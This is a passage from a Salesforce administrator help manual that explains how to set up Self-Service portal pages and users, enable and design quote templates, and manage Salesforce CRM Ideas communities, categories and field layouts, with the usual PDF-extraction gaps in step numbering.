4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an
email is automatically sent to the case owner.
When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users
to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added
to the case.
5. Check Show Message to display a message on this page.
6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
1407
Customize
Optionally, check Show HTML to view your page message in HTML code.
7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
8. Click Save.
9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing
the page layout, see Customizing Page Layouts on page 1278.
Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases.
You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity
page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make
Public or Make Private in the case's Activity History related list.
10. Click Save at any time to finish.
11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.
Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal
checkbox on the case.
Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this
order; nor can they sort case columns in the Self-Service portal.
See Also:
Setting Up Self-Service
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
1408
Customize
You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested
Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or
viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are
Suggested Solutions? on page 3248.
To customize the Suggested Solutions Page:
1. Click Edit on the Suggested Solutions Page line.
2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal.
3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select
at least one Closed value for this field.
To customize the Status field, see Picklist Considerations on page 1059.
4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten.
5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases.
To customize the values associated with the Case Reason field, see Picklist Considerations on page 1059.
6. Check Show Message to display a message on this page.
7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
9. Click Save.
10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have
customized the Self-Service style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
1409
Customize
After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your
Self-Service portal.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Generate Login HTML.
Insert the URL or HTML code provided into your portals Web page.
Click Finished to return to the Self-Service Settings page.
Note: You cant be logged into Salesforce and the Self-Service portal at the same time, with the same browser. For
example, if you log into Salesforce and then the Self-Service portal using the same browser, your Salesforce session
becomes invalid. Conversely, if you log into the Self-Service portal and then Salesforce using the same browser, your
Self-Service portal session becomes invalid.
See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Managing Self-Service Users
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your
customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable
access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages.
To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 202.
To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1411.
To change Self-Service user information, see Editing Self-Service User Information on page 1412.
1410
Customize
To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1413.
See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at
once. Each contact must have an email address and must be associated with an account to be a Self-Service user.
To enable new users for your Self-Service portal:
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
2. Click Enable New User(s).
3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering
data, see Entering Filter Criteria on page 2961.
4. Select the contacts you want to enable and click Next.
5. Modify Self-Service user information as necessary.
6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add
comments, and upload attachments for all cases submitted by anyone in his or her company.
7. Click Save.
See Also:
Managing Self-Service Users
1411
Customize
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Edit Self-Service user information to keep user information updated.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
Select the users you want to change.
Click Edit User(s).
Make any necessary changes to these records.
Click Save.
See Also:
Managing Self-Service Users
1412
Administering Quotes
Enabling Quotes
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service
users passwords:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
Select the users whose passwords you want to reset.
Click Reset Password(s).
Click OK.
See Also:
Managing Self-Service Users
ADMINISTERING QUOTES
Enabling Quotes
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
1413
Customize
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Quotes > Settings.
Select Enable Quotes.
Click Save.
Select Opportunity Layout to display the Quotes related list on the standard opportunity page layout.
Optionally, select Append to users' personal related list customization to add the Quotes related list
to all opportunity page layouts users have customized.
6. Click Save to finish.
Disabling Quotes
Select Disable Quotes to disable the feature for your organization.
Important: You can't disable quotes if your records have any references to quotes, quote line items, or quote PDFs
from any application customizations, including formula fields, triggers, workflow rules, and approval processes. You
must remove these references before you can disable quotes. You can't disable quotes if you have any quotes synced
with an opportunity. You must first stop syncing all quotes before you can disable the feature.
Create on quotes
You may get error messages if you try to sync quotes under certain conditions. If so, find your error below and learn how to
solve the problem.
This quote can't be synced because it has inactive or archived products.
If the product isn't active, edit the product and select the Active check box.
If the product has been archived, delete the product if the opportunity is not closed.
This quote can't be synced because it has an inactive or archived price book.
If the price book is inactive, edit the price book and select the Active check box.
If the price book has been archived, delete the price book if the opportunity is not closed.
This quote can't be synced because it has inactive or archived list prices.
If the list price isn't active, edit the list price and select the Active check box for the list price.
If the list price has been archived, delete the list price if the opportunity is not closed.
1414
Customize
"Customize Application"
If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and
signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to
the header or footer, the logo and signature block you previously used won't be displayed. If the new template's
header and footer have no content, the original logo and signature block will appear.
1415
Customize
If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields
cannot be opened for editing within the sandbox.
See Also:
Creating Quote Templates
Emailing Quote PDFs
Overview of Page Layouts and Field-Level Security
"Customize Application"
1.
2.
3.
4.
Click Your Name > Setup > Customize > Quotes > Templates.
Click New and select an existing template, such as Standard Template, on which to base your new template.
Give your new template a name.
On the template editor, drag the elements you want, and then fill in the details. If you want to add:
5.
6.
7.
8.
One or more Quote fields or fields from related objects, use a section and add fields to it.
Text that you can edit and format, such as terms and conditions, use Text/Image Field.
An image, such as your company logo, use Text/Image Field.
A table of Quote fields or fields from a different object, such as Quote Line Item, use a list.
Click Quick Save to save your changes and continue working on the template.
Click Save and Preview to preview your template.
Click Save when you're finished.
Return to the Quote Templates page and click Activate.
Tip: If you use Chatter, post an update to spread the word that the template is ready for use.
See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Previewing Quote Templates
1416
Customize
"Customize Application"
Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers.
Navigating the Quote Templates Editor
The template editor has two parts: a palette at the top and a template layout below.
The palette contains the elements you can add to the layout, including list and section, and fields that you can add to
sections.
Click
beneath the palette to expand or collapse it.
In the left column, select an object to display its fields on the palette.
Use Quick Find to easily locate items on the palette.
To add an element to the template, drag it from the palette to the layout. Use a section to add and arrange fields
from the quote object. Use a list to create a table with fields from another object, such as quote line item. The
Text/Image Field lets you enter text or upload an image, such as your company logo.
Press CTRL+click to select multiple fields and SHIFT+click to select a range.
To remove an element from the layout, drag it back to the palette, or hover over its title bar and click .
When you drag a section, select Hide Title if you don't want the section's title to appear on the template or the
PDF.
For any section, (including a header or footer), you can change the number of columns, adjust field alignment, and
hide or show field labels. Click
and make the changes you want.
To step backward or forward, click Undo and Redo.
To change the properties of any component on the layout, double-click its title bar or click
To rename the template, click Quote Template Properties.
To preview your template, click Save and Preview.
To save your changes and continue editing the template, click Quick Save.
1417
Customize
To save your changes when you're finished editing the template, click Save. Don't navigate away from the template
before clicking Save or you'll lose your changes.
See Also:
Quote Templates Overview
Creating Quote Templates
"Customize Application"
1. Click Your Name > Setup > Customize > Quotes > Templates.
2. Click Edit next to the template you want.
3. If you need to edit the template name, click Quote Template Properties and enter the new name in the Template Name
field. Click OK.
Note: You can't rename a quote template if you're using Salesforce Professional Edition.
4. You can:
Add or edit sections (for fields), text, images, and lists as needed.
Redesign the template header or footer.
Change, hide, or show the title of a section, list, header, or footer after it's in place by clicking
select or deselect Hide Title.
Hide field labels in sections and the header and footer.
Change the number of columns (one or two) in sections.
Change field alignment (left or right) in sections.
1418
Customize
Note: The Save As option isn't available in Salesforce Professional Edition. To make a copy of a template in
Professional Edition, click New on the Quote Templates page then select the existing template that you want to
duplicate.
See Also:
Adding Fields to Quote Templates
Adding Lists to Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Using Headers and Footers on Quote Templates
Customizing Quote PDFs with Quote Templates
"Customize Application"
On your quote template, you can display standard and custom fields from the quote object and these related objects: account,
contact, opportunity, organization, and user. Use a Text/Image Field to display a graphic, such as your company logo, or
text that can be formatted, such as a signature block. To add fields to a header or footer, just drag them into place. To add
fields to the body of your template, drag a section component first.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.
If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.
If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.
1419
Customize
See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Using Headers and Footers on Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Field-Level Security Overview
1420
Customize
"Customize Application"
Use lists in your quote template to arrange and display fields from quote line item or any other standard or custom object that
has a lookup relationship to the quote object. A list looks like a table, with field names appearing as columns. You can add
lists to the body of your quote template but not to the header or footer.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.
If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.
If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.
1.
2.
3.
4.
See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Field-Level Security Overview
1421
Customize
"Customize Application"
Use the quote templates text/image field to add text you can format, such as your organization's address or terms and conditions.
You can also insert images, like your company logo. You can use text/image fields in the body of your template, and also in
the header and footer.
Rich Text Restrictions
Text formatting is not available in the Text/Image Field for Unicode languages such as Arabic and Japanese.
The maximum number of characters you can use in the quote templates Text/Image Field is 32,000, which includes
the hidden HTML characters used to format text.
1. Drag a Text/Image Field into place in the header, the footer, or any section in the body.
2. Type or paste your text into the field, then format it however you like.
3. Click OK.
Tip: Use a text/image field to create a signature block.
See Also:
Customizing Quote PDFs with Quote Templates
Using Headers and Footers on Quote Templates
Adding Images to Quote Templates
Tips for Using Quote Templates
Field-Level Security Overview
1422
Customize
"Customize Application"
Use the quote templates text/image field to insert images, like your company logo. You can use text/image fields in the body
of your template, and also in the header and footer.
You can store images for uploading in either your own file system or in Salesforce CRM Content.
If you store images on the Documents tab or the Static Resources page, you'll get a Web address you can use to insert the
image.
Note: If you need to insert an image from a public Web address outside the Salesforce application (such as your
company's website), contact Salesforce and ask to have the public URL whitelisted for your organization.
Image Size Considerations
If you insert an image that's too large, it will be cropped when users create quote PDFs from the template. To prevent
cropping, click Save and Preview after you insert an image, then resize the image if you need to.
Inserting an Uploaded Image
1. If you want to use an image stored in Salesforce CRM Content, locate the image and download it to your local file
directory.
2. Drag a Text/Image Field into place in the header, the footer, or any section in the body.
3. Select Hide Title if you don't want the title to appear on the template or PDF.
4. Click the image icon, then click Browse... and locate the image in your file directory.
5. Click Open and the image appears in the field. You can resize it by dragging the sizing handles, which show the
image's height and width in pixels.
6. Click OK.
7. Click Save and Preview to see how the image will look in PDFs created from the template.
Inserting an Image from a Salesforce Web Address
1.
2.
3.
4.
If you need to, upload the image to the Documents tab or define a static resource.
Drag a Text/Image Field into place in the header, the footer, or any section in the body.
Select Hide Title if you don't want the title to appear on the template or PDF. Click OK.
On the Documents tab or the Static Resources page, open the image's detail page, click View File, and copy its URL.
1423
Customize
7. Paste the URL into the URL field, then click Insert. The image appears in the field. You can resize it by dragging
the sizing handles, which show the image's height and width in pixels.
8. Click OK.
9. Click Save and Preview to see how the image will look in PDFs created from the template.
Important: If the image is removed from the Documents tab or Static Resources page, where it is stored, the
template displays a message that the image is not available. Restore the image, then open the template, delete
the error message image, and repaste the URL.
See Also:
Customizing Quote PDFs with Quote Templates
Using Headers and Footers on Quote Templates
Adding Rich Text to Quote Templates
Contributing Files to Salesforce CRM Content
Uploading and Replacing Documents
"Customize Application"
Use headers and footers to show standard, repeating information on your quote template, such as your company logo, your
company address, the date the quote was created, or the quote number. Headers and footers can span the width of the template
or be divided into two equal columns.
A header or footer is essentially a section: you can add fields to it and show or hide its title. You can't remove a header or
footer or add more sections to it.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.
If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.
1424
Customize
If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.
1. If you need to change the number of columns in your header or footer, click
you want.
Tip: To display an image that spans the width of a page, use a one-column header or footer. For terms and
conditions text, use a one-column footer.
2. Select an object and drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and
SHIFT+click to select a range.
If you want to use an image, such as your company logo, or include extended information, such as terms and conditions,
use a Text/Image Field.
3. If you need to change field alignment within a column, click
See Also:
Customizing Quote PDFs with Quote Templates
Adding Fields to Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Tips for Using Quote Templates
Field-Level Security Overview
"Customize Application"
Preview your quote templates to make sure the quote PDFs users create will look the way you want them to.
Note: Preview shows templates in system administrator profile view. The preview and the template show any rich
text and images you've added. Other data is simulated.
1. Open the template you want to preview. Edit the template if you need to.
1425
Customize
3. In the Template Preview overlay, verify that the content and layout are correct.
4. Click Close.
See Also:
Creating Quote Templates
Creating Quote PDFs
"Customize Application"
Object Field
User
Prepared By
User
Prepared By (Email)
User
Phone
Prepared By (Phone)
Phone
User
Fax
Prepared By (Fax)
Fax
Company Information
Address
Organization
(Address)
Company Address
1426
Customize
Object
Object Field
Quote Documents
Select Standard Template when you create a new template. The standard template contains a totals section,
and you can modify it as you wish.
Drag a section onto the layout of any template, then drag total-related fields (such as Subtotal and Grand
Total) to the right half of the section. Hide the title if you are placing the section directly beneath a list.
2. Click
Note: Fields within sections have different alignment than columns within lists, so if you place your totals section
beneath a list, its field values will not line up beneath the rightmost list values.
For example, your template might include a list of quote line items, including a Total Price column at the
far right that shows the total for each line item. If you add a totals section beneath the list, and include Subtotal,
Total Price, and Grand Total fields, their values will show the total of all line items, but the amounts will
not line up beneath the list's Total Price column.
Creating a Signature Block
Use a signature block to create signature and date lines so your customers can sign off on their quotes.
1. Drag a Text/Image Field into the footer of your template. Use two columns for the footer if you want to right-align
your signature block or create two.
2. Enter a label for each line you want to create. For example:
Signature
Name
Title
Date
1427
Setting Up Ideas
See Also:
Sandbox Setup Tips and Considerations
SETTING UP IDEAS
Managing Salesforce CRM Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas, answers, and Chatter Answers.
You can display an Ideas community to internal Salesforce users, Customer Portal or partner portal users, or to public users
(requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the Salesforce
CRM Ideas Implementation Guide.
As an administrator, you can:
Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce
CRM Ideas Settings on page 1429.
Create a new community. See Creating and Editing Communities on page 1536.
Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status
Fields on page 1435.
Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1439.
Make idea reports available to your users. See Setting Up Idea Reports on page 1440.
Customize idea search layouts. See Customizing Search Layouts on page 1303 and Searching for Ideas on page 3334.
Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1433.
Assign a status to an idea. See Posting and Editing Ideas on page 3327.
Delete a vote through the API to erase all history that the vote ever occurred.
Specifically, deleting a vote does the following:
1428
Customize
See Also:
Ideas Overview
Tips on Using Salesforce CRM Ideas
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
Customize Application
1429
Customize
Communities Home
See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Administrator setup guide: Salesforce Ideas Implementation Guide
Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions
Customize Application
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas, answers, and Chatter Answers.
Note: If you need more than 50 communities, contact salesforce.com.
Internal Salesforce users only. Salesforce users can access all communities regardless of whether the community is
internal-only or displayed in a portal.
Customer Portal or partner portal users.
Public users (requires setting up a Force.com Site).
Note: You cannot use Salesforce sharing rules to restrict access to communities. When you create a community, you
can restrict access by selecting the portal where the community should appear. Only the users assigned to that portal
(and internal Salesforce users) will be able to access that community unless you expose it publicly using Force.com
sites.
To display a list of the existing communities, along with general information about each one, click either:
1430
Customize
Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities
Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. From the Communities page you can:
Customize Application
Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities
Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for
creating and editing its communities. See Configuring a Chatter Answers Community on page 1557.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 590.
1431
Customize
Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.
7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in
Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, (External) is appended to the community name. Communities that aren't
displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External).
8. Click Save.
Community Expert Overview
A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce administrator can designate as many
community experts as necessary.
Before you select a public group to be community experts, note the following:
A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile and permission sets.
Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 3463 and Enabling Customer Portal Login and Settings on page 1671.
See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
1432
Customize
Merging Ideas
Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Edit on ideas
Overview
As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to
measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to
merge duplicate ideas together so one idea becomes the master to one or more child ideas.
Note the following about merging ideas:
All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas
that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded.
Once you merge ideas they cannot be separated.
Users can only vote for and add comments to a master idea. Child ideas become read-only.
You cannot merge ideas in separate communities.
Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually.
The master idea does not inherit the status and category values of its child ideas.
When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any
other pages in a community member's Recent Activity.
Merging Ideas
To locate duplicate ideas and merge them together:
1. On the Ideas tab, click the title of an idea that you want to merge.
2. On the idea's detail page, click Find Duplicates. Salesforce searches all the ideas within the community and displays the
five ideas with titles that most closely match the current idea's title.
3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for
Duplicates field and click Search. Salesforce displays a new list of possible duplicate ideas.
4. From the Possible Duplicates list, select the ideas that you want to merge.
To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search
results.
5. Click Merge with Current Idea.
6. Select the idea that you want to be the master idea, and click Merge.
1433
Customize
See Also:
Searching for Ideas
Viewing Ideas
Posting and Editing Ideas
Deleting Ideas
Read on ideas
Read on ideas
Create on ideas
Edit on ideas
To create communities:
Customize Application
Consider the following information when setting up and using Salesforce CRM Ideas:
When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot
attach a file or add a note to an idea.
Master detail relationships are not supported.
Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals.
Salesforce CRM Ideas does not support custom links.
The Ideas detail page does not contain related lists.
The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted
comments.
You cannot create activities and events for Salesforce CRM Ideas.
When using standard or custom Idea fields, note the following:
History tracking is not supported.
1434
Customize
Customize Application
Overview
For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas
administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an
ideas community and not in an answers community.
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
An idea's status helps community members track the progress of the idea. For example, Under Review, Reviewed, Coming
Soon, and Now Available are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
Note: If the Category field is displayed (instead of Categories), then your community members can only assign
a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on
the Your Name > Setup > Customize > Ideas > Settings page.
Defining Picklist Values
To define picklist values for the Categories and Status standard fields:
1. Click Your Name > Setup > Customize > Ideas > Fields.
2. Click Edit next to the Categories or Status standard field.
3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and
replace picklist values. For more information on these tasks, see Updating Picklists on page 1060.
Note: Once you add picklist values to the Categories or Status field, the field will always require at least one
picklist value. This means you can delete picklist values until there is one remaining for the field.
4.
5.
6.
7.
Add one or more picklist values (one per line) in the provided text area.
Select the communities that you want to include the new picklist values.
Click Save.
To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community
on page 1436.
1435
Customize
Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You
can only specify a default value from the Community Detail page.
8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox on the Your Name > Setup > Customize > Ideas > Fields Layout page.
Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For
more information, see Posting and Editing Ideas on page 3327.
See Also:
Managing Salesforce CRM Ideas
Ideas Overview
Selecting Picklist Values and Defaults for a Community
Customize Application
After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these
fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields
based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status
Fields on page 1435.
To add or remove picklist values from a specific community:
1.
2.
3.
4.
5.
6.
7.
Click Your Name > Setup > Customize > Ideas > Communities.
Click the name of the community.
Click Edit next to the Categories or Status field.
To remove a picklist value, select the value from the Selected Values list and click Remove.
To add a picklist value to the community, select the value from the Available Values list and click Add.
To specify a default value for the field, use the Default drop-down list.
Click Save.
See Also:
Creating and Editing Communities
1436
Customize
Customize Application
Organizations using the Category field can switch to the multi-select Categories field that allows community members
to associate more than one category with an idea. The Category field only allows one category to be associated with an idea.
Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field
automatically disables the old Category field in Salesforce and the API.
When you enable the Categories field, Salesforce automatically does the following:
Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that
references the Category field. You must manually fix or remove these references before Salesforce allows you to enable
the Categories field.
Automatically moves all picklist values and search layouts from the old Category field to the new Categories field.
Ensures each idea is associated with the appropriate picklist value in the new Categories field.
Makes the new Categories field available in Salesforce and the API.
1437
Customize
5. Fix any custom reports that reference the old Category field.
See Also:
Customizing Salesforce CRM Ideas Settings
Selecting Picklist Values and Defaults for a Community
Defining Picklist Values for the Categories and Status Fields
Customize Application
If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the
new Community application. The Community application:
1438
Customize
Customize Application
Customize Application
Customize Application
Customize Application
Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique
requirements:
Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the
Categories and Status Fields on page 1435.
Click the name of a standard or custom field to set field-level security. For more information, see Field-Level Security
Overview on page 663.
Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 1161.
Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post
Idea and Idea Detail pages. For more information, see About Custom Fields on page 1074.
See Also:
Ideas Overview
Customizing Salesforce CRM Ideas Settings
Customize Application
When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the
bottom of the Post Idea and Idea Detail pages.
1439
Customize
To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information
section. You can also remove a custom field from these pages without permanently deleting the field from the system.
To set the layout of a custom Salesforce CRM Ideas field:
1. Click Your Name > Setup > Customize > Ideas > Fields Layout.
2. Click Edit.
3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of
the field in the list.
The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the
Post Idea and Idea Detail pages.
4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available
